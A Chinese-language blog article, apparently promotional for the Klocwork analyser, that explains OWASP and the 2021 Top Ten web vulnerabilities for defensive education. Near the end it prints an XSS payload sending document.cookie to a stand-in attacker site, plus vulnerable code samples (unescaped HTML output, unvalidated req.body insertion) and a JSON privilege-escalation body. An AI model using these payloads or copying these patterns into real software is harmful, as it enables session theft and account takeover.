写点什么

代码安全 | 什么是 OWASP?OWASP 十大漏洞解析

  • 2022 年 3 月 16 日
  • 本文字数:4278 字

    阅读完需:约 14 分钟

代码安全 | 什么是OWASP?OWASP十大漏洞解析

OWASP 和 OWASP 十大漏洞有助于保护您的代码免受软件安全漏洞的影响。在这里,我们将分别阐述 OWASP 的介绍内容以及 OWASP 十大漏洞的详细内容。


OWASP 简介

OWASP 是指开放网络应用程序安全项目。它是一个非营利基金会,其唯一宗旨是通过为社区提供工具和知识来提高软件安全性。


由于它是一个非营利组织,它的所有资源(包括文章、方法、文档、工具和技术)都是免费提供的,任何有兴趣保证其 Web 应用程序安全的人员都可以对其轻松访问。


为什么 OWASP 很重要?


在 OWASP 成立之前,人们缺乏关于打击网络安全漏洞的教育内容。开发人员根据他们在社区中的知识和共享经验创建了应用程序。但 OWASP 未记录互联网安全威胁以及黑客如何利用通过代码和技术级别解决的常见安全问题的开源计划。


OWASP 提供了有关黑客惯用的伎俩以及如何反黑客的知识。多年来,该项目已帮助社区实现了以下成果:


  • 保护社区代码免受网络安全漏洞的影响

  • 增强软件加密功能

  • 减少代码中的安全错误、bugs 和缺陷的数量。


请详细了解 CERT C、CWE 和 DISA STIG 等安全标准如何帮助确保软件安全。


OWASP 十大漏洞是指什么内容?


OWASP 十大漏洞是指由 OWASP 基金会发布的最受欢迎的资源之一。本文提供了有关研究时应用程序的 10 个最关键的安全风险的信息。这些风险是黑客最惯常使用并造成的破坏影响最大的漏洞。


在全球范围内,OWASP 十大漏洞被开发人员认可为迈向更安全编码保护的第一步。它提供了一个标准化的应用程序安全意识文档,每年由世界各地的安全专家团队进行更新。本文档基于对本年 Web 应用程序最关键安全风险的广泛共识。


多年来,安全管理组织和个人使用本研究中的信息,用来改变软件开发过程,从而生成更安全有效的代码。

2021 年 OWASP 十大漏洞:仔细观察


1.访问控制中断


根据用户被授予的访问权限,每一条信息只能供特定的用户使用。访问控制失效可能会导致用户可以访问其无权访问的信息。


例如,如果一个普通用户即使不是管理员也可以访问管理员页面,则他们的角色没有得到正确验证。通过实施基于记录所有权的模型访问控制,可以缓解和避免这种安全风险。


2.密码故障


加密失败以前被称为敏感数据暴露,主要是与加密失败有关。黑客通常不会直接攻击系统,而是试图在数据传输过程中从用户的浏览器中窃取数据。为了防止此类攻击,您需要创建一个安全的信息传输通道。


对于 web 应用程序,解决该类问题的快速解决方案是在所有页面上强制执行 TLS。如果没有强制的 TLS 策略或加密不当,则黑客可以监控网络流量,并将连接从 HTTPS 降级为 HTTP,从而捕获以明文形式传递的所有信息:包括用户数据、密码和对话 cookie 等。


3.注入


当攻击者用最终目标执行的有效代码污染发送到后端应用程序的查询功能时,就会发生注入。攻击者利用该类漏洞诱使系统执行允许其通过 API 提供的非故意命令。



通过这种类型的攻击,黑客可以访问受保护的数据,甚至执行操作系统命令。后者令这种攻击更加危险。

通过使用对象关系映射(ORM)工具或在动态查询仍在使用时转义特殊字符,可以有效防止注入攻击。


4.不安全的设计


不安全设计关注与设计缺陷相关的风险。不安全设计是指没有威胁建模、安全设计模式和原则以及参考体系结构的设计。


5.安全配置错误


黑客对大多数安全问题非常熟悉,也非常了解如何使用不同的工具利用该类问题。这些安全问题可能包括不必要的开放端口、默认帐户和密码、错误处理(泄露了太多有关应用程序的信息)、示例文件和应用程序(默认状态下从生产服务器中删除)等形式。


可以使用自动扫描仪来确保正确的安全配置。如果您不想购买自动扫描仪,可以通过补丁管理过程和删除未使用的功能和文件来减少该类攻击的风险,从而消除可能存在安全问题的不必要代码。


6.易损坏和过期的组件


该情况之前被称之为“使用具有已知漏洞的组件”,易受攻击和过期的组件是唯一不在通用漏洞披露(CVE)和常见漏洞枚举(CWE)中的类别。


为了保护应用程序不受易受攻击和过期组件的影响,您应该持续监视所有外部组件。您可以使用自动工具,在报告漏洞并需要升级到新版本时向您发出警报。


7.识别和认证失败


身份验证和身份验证失败以前被称之为“身份验证失败”,是指身份验证实施不当,使攻击者获得访问权限并冒充另一用户的身份。



防止用户使用保密性弱的密码和限制失败的登录尝试,可以有效地保护大多数用户帐户不受此漏洞的影响。您还需要设置会话超时功能并实施凭据恢复系统,用来帮助用户保护其帐户不受意外错误的影响,并轻松恢复帐户。


此外,这种类型的漏洞现在包含了 CWE 中更多与识别失败相关的漏洞。


8.软件和数据完整性故障


软件和数据完整性故障集中于在未验证完整性的情况下对软件更新、关键数据和 CI/CD 数据传递通道所做的假设。


此外,该漏洞还包括不安全的反序列化。不安全的反序列化指的是任何应用程序无法对易受攻击的外部或外部对象反序列化。这是因为黑客有能力对后端代码接收到的数据进行操纵。


保护自己不受不安全反序列化影响的最快而且可能也是最安全的方法就是不接受来自不受信任源的序列化对象,并在应用程序中限制使用序列化对象。


9.安全日志记录和监控故障


该项内容以前被称之为“记录和监控不足”,该类别已被扩展,从而包括更多类型的故障,包括难以测试的故障,以及 CVE/CVSS 数据中没有很好表示的故障。


10.服务器端请求伪造


服务器端请求伪造指的是发生率相对较低的数据,测试覆盖率高于平均水平,攻击和影响潜力也高于平均水平。


通过 OWASP 十大反漏洞法规遵从性确保代码安全


在编写代码时,需要考虑上述所有可能的安全问题。下面是上文讨论的一些漏洞的代码片段。 

下面的代码片段揭示了如何在后端使用模板引擎构建 HTML 页面。但此页面在未经验证或转义的情况下将不受信任的数据插入 HTML 页面,从而引入 XSS 漏洞:


page += "<input name='user' type="text'

value=' " + request.getParameter("user") + " '>";


对于该类页面,攻击者可以将浏览器中的用户参数修改为以下内容:


<script>

 document.location='http://www.hacker-website.com/cookiescookie='+document.cookie'

</script>


这将导致受害者的浏览器在攻击者的网站上发出 GET 请求,并将其所有 cookie 发送给黑客。黑客便可以劫持目标应用程序作为 cookie 存储在用户浏览器中的所有用户信息,包括指令和会话 ID。

另一个易受攻击的代码实现示例是以下代码段:


app.post("/register", async (req,res) => {

     await db.collection('users').insertOne({...req.body});

     res.status(201).send()

})


它显示了在使用 NoSQL 数据库的 web 应用程序中管理用户注册功能的后端代码。这段代码的问题在于,它在不进行任何验证的情况下(并假设只将必要的数据发送到端点),将接收到的所有内容都用作参数。

如果黑客只需提供他们想要的任何信息就可以了解用户模式,则他们可以滥用此漏洞。

如果用户模式包括一个 admin 字段和一个 account confirfied 字段,黑客可以通过发送一个带有以下 JSON 的 POST 请求来绕过这一点。


{

   "email":"my-email",

   "admin":"true",

   "accountConfirmed":"true"

 }


其他常见漏洞


虽然 OWASP 十大漏洞是危害最大、分布最广的漏洞,但黑客在攻击网站时还可以利用其他漏洞。另外两个不应忽视的常见安全问题是开放重定向和过度数据暴露。


开放重定向


开放重定向漏洞是最容易利用的漏洞之一,黑客几乎不需要任何经验便能破解。这是应用程序中的一个安全漏洞,可被利用以将用户重定向到恶意网站。


问题在于,易受攻击的应用程序无法正确验证 URL,以验证这些 URL 是否属于预期页面的域。相反,这类应用程序只需重定向到提供的页面,而无需考虑 URL。


该漏洞经常被用来制造网络钓鱼攻击,窃取用户凭据并诱骗用户付款。


过度数据暴露


有时候事情往往会过犹不及,在开发应用程序时处理特定情况也是如此。


在 web 应用程序中,我们倾向于公开超出必要范围的数据、额外的对象属性、有关错误处理的过多信息等等。当我们专注于提供更好的用户体验,而不考虑我们公开的信息的敏感性时,通常会选择这样做。但问题是,攻击者可以利用这些额外信息来访问网络内部或捕获敏感信息。

如何实施网络安全最佳实践


如果您遵循 OWASP 反十大漏洞法规,您的应用程序将处于安全状态。但百密总有一疏,漏洞仍然可能出现。因此,增加一层安全性总是可取的。除了开发应用程序时牢记 OWASP 反十大漏洞法规之外,您还可以遵循一些网络安全最佳实践。以下是最佳实践的内容:


安全测试


通过在应用程序上运行定期安全测试,将确保应用程序的安保功能持续更新。安全测试可以帮助您检测出应用程序中存在着的所有可能威胁,并帮助您评估潜在漏洞。从这些安全测试中收集的信息应用于系统,确定是否可以适用。这将帮助开发人员通过使用代码解决任何问题。



开源依赖包


如今,我们开发的大多数应用程序至少包含开源依赖包。事实上,如果您没有为一个组织开发高度私密化的应用程序,则大多数应用程序可能都是由开源组件组成的。这就是让我们拥有速度和力量来构建我们原本无法创建的工具的原因所在。


开源有其优点和缺点。说到最佳安全实践,您需要确保应用程序中包含的依赖项不会像为黑客打开的门一样。为此,您需要确保始终从安全且经过验证的存储库安装依赖项。


同时,还需要确保添加的每个依赖项的质量。这就是为什么需要您添加周围存在良好社区的组件的原因。因为他们拥有大量用户,社区积极参与更新和修复报告的问题。


最后,发生的许多攻击都是由于使用了过期的软件版本。因此,一旦安装了依赖项,它也必须保持最新。这可以通过各种程序自动完成,也可以定期手动完成。如果用户不更新到最新版本,社区将徒劳地修复报告的漏洞和问题。


为什么选择 Klocwork 来实现 OWASP 法规遵从性


确保 OWASP 合规性的最佳方法之一是使用静态代码分析还有 SAST 工具——比如Klocwork——帮助您实施安全编码最佳实践。


静态代码分析器执行编码规则并标记安全违规行为。Klocwork 提供了代码安全分类,以确保软件的安全、可靠和高效。


每一项都包括:


  • 完整记录的规则执行和信息解释。

  • 完全可配置的规则处理。

  • 安全审核的合规性报告。

来亲自看看 Klocwork 如何帮助您实施安全的软件实践。联系 Perforce中国授权合作伙伴——龙智 ,开始免费试用。


作者简介:



斯图尔特·福斯特(Stuart Foster)

Klocwork 和 Helix QAC 产品经理,Perforce


斯图尔特·福斯特在移动和软件开发方面拥有超过 10 年的丰富经验,负责管理消费应用和企业软件的产品开发。目前,他负责管理 Klocwork 和 Helix QAC,这是 Perforce 市场领先的代码质量管理解决方案。他致力于开发符合客户业务需求的产品、特性和功能,并帮助开发人员生成安全、可靠、无缺陷的代码。斯图尔特拥有 Carleton 大学的信息技术、交互式多媒体和设计学士学位,以及 Algonquin 应用艺术与技术学院的多媒体设计高级文凭。


用户头像

还未添加个人签名 2021.05.18 加入

还未添加个人简介

评论

发布
暂无评论
代码安全 | 什么是OWASP?OWASP十大漏洞解析_漏洞_龙智—DevSecOps解决方案_InfoQ写作平台